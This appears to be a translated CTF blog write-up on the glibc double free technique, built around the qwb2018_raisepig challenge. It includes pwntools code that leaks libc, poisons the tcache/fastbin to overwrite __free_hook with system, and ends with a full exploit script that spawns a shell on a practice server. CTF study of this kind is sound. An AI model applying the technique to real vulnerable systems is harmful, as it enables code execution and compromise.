linux_pwn--double free&&qwb2018_raisepig

What is double free

double free, as the name suggests, is released twice. In ctf, it is generally released twice for the same memory block. In fact, this is a little similar to the previous uaf generation method, which needs to meet that the pointer is not set to NULL

ptr=malloc(0x10)
ptr2=malloc(0x10)
free(ptr)
free(ptr2)
free(ptr)

Since the system will judge directly and continuously free twice, the system will not detect double free when inserting free once in the middle

pwn question

In ctf, the general problem setting mode of uaf is
The bss opened up an area and saved the address of each heap, but it was not cleared after free
At this time, if double free is generated, we can modify fd to make the heap block malloc another specified arbitrary address to achieve the effect of arbitrary address writing

Examples

qwb2018_raisepig

The framework is also relatively clear

add function

There is no overflow and two chunk s are allocated

show function

It will show that name and type can be used to disclose libc

delete function

The content in bss is not cleared, resulting in double free

delete_ I don't use add, so I won't analyze it

Start doing questions

Preparation framework

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./raisepig_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 26672
    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)


def debug():
    gdbscript = """
        c
        x/20xg $rebase(0x202040)
    """
    gdb.attach(io, gdbscript=gdbscript)


def add(size: int, content: bytes, types: bytes):
    sa(b"choice : ", b"1")
    sla(b"Length of the name :", str(size).encode())
    sa(b"The name of pig :", content)
    sla(b"The type of the pig :", types)


def show():
    sa(b"choice : ", b"2")


# No empty pointer
def free(index: int):
    sa(b"choice : ", b"3")
    sla(b"Which pig do you want to eat:", str(index).encode())

debugging

First, create a few blocks

add(0x10, b"a", b"b")
add(0x10, b"b", b"c")
debug()

The 0x1011 in the middle is systematic. We don't care about it for the time being

You can see that the bss points to the head


The header stores 1 (this is the title, to prevent overwriting fd), pointing to data and type
name is saved after data chunk

Leak libc

If you do not know libc, you cannot overwrite free_hook
If you want to disclose libc, you need to allocate blocks from the unsorted bin, and then the fd that is not emptied can be leaked

add(0x90, b"a", b"b")
free(0)


Note that free only uses the free data Department, not the free header. Since libv is 2.27, tcache is introduced. Here, we need to first free 7 blocks to fill tcache

for i in range(7):
    add(0x80, b"0", b"0")
for i in range(7):
    free(i)

You can see that seven tcache s are filled in

for i in range(7):
    add(0x80, b"0", b"0")
for i in range(7):
    free(i)
free(0)

Another free can be seen entering the unsorted bin

Next, a smaller block will be allocated. At this time, it will be cut from unosrted bin

for i in range(7):
    add(0x80, b"0", b"0")
for i in range(7):
    free(i)
free(0)
add(0x20, b"a", b"b")

At this time, if show is used, libc can be disclosed in combination with offset

for i in range(7):
    add(0x80, b"0", b"0")
for i in range(7):
    free(i)
free(0)
add(0x20, b"a", b"b")
show()
ru(b"Name[7] :")
libc_base = u64(ru(b"\n").strip().ljust(8, b"\0")) - 0x7FB4F4209C61 + 0x7FB4F3E1E000
free_hook_addr = libc_base + 0x3ED8E8
system_addr = libc_base + libc.sym["system"]

In fact, the first one subtracts the leaked address, and then the second one is the smallest address of libc in vmmap, so you can get the address of libc (the offset is too tired, so obvious). By the way, calculate free_ Address of hook and system

double free

add(0x10, b"8", b"8")#a
add(0x10, b"9", b"9")#b
add(0x10, b"10", b"10")#c
free(9)
free(8)
free(10)
free(8)

In this way, we are quite formed
a->c->a
We'll start with malloc a
At the same time, change the fd of a to any address
Then the structure becomes
C - > A - > any address
Then malloc
malloc again
Then malloc can get our arbitrary address
Because we take out fd first and then write the content, the second malloc a has no impact on us

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))
add(0x10,b"a",b"a")

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))
add(0x10,b"a",b"a")
add(0x10,b"b",b"b")

This also explains why I want to add a useless block, otherwise I can't malloc it now
Next, malloc can write any address

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))
add(0x10, b"a", b"a")
add(0x10, b"b", b"b")
add(0x10, p64(system_addr), p64(0))


Finally, we create a block of / bin/sh

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))
add(0x10, b"a", b"a")
add(0x10, b"b", b"b")
add(0x10, p64(system_addr), p64(0))
add(0x10, b"/bin/sh\0", b"a")
show()

show is to see which piece it is
Call remote below

exp

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./raisepig_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 26672
    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)



def add(size: int, content: bytes, types: bytes):
    sa(b"choice : ", b"1")
    sla(b"Length of the name :", str(size).encode())
    sa(b"The name of pig :", content)
    sla(b"The type of the pig :", types)




def show():
    sa(b"choice : ", b"2")


def free(index: int):
    sa(b"choice : ", b"3")
    sla(b"Which pig do you want to eat:", str(index).encode())




for i in range(7):
    add(0x80, b"0", b"0")
for i in range(7):
    free(i)
free(0)
add(0x20, b"a", b"b")
show()
ru(b"Name[7] :")
libc_base = u64(ru(b"\n").strip().ljust(8, b"\0")) - 0x7FB4F4209C61 + 0x7FB4F3E1E000
free_hook_addr = libc_base + 0x3ED8E8
system_addr = libc_base + libc.sym["system"]

add(0x10, b"8", b"8")
add(0x10, b"9", b"9")
add(0x10, b"10", b"10")
free(9)
free(8)
free(10)
free(8)

add(0x10, p64(free_hook_addr), p64(0))
add(0x10, b"a", b"a")
add(0x10, b"b", b"b")
add(0x10, p64(system_addr), p64(0))
add(0x10, b"/bin/sh\0", b"a")
show()
free(15)
it()

summary

In fact, double free doesn't need stack overflow, but the only thing it needs is that it can at least modify the fd pointer, but generally we need to fill in the data, so it is still easy to be overwritten

Keywords: Linux security

Added by ThaSpY on Sat, 05 Mar 2022 10:00:00 +0200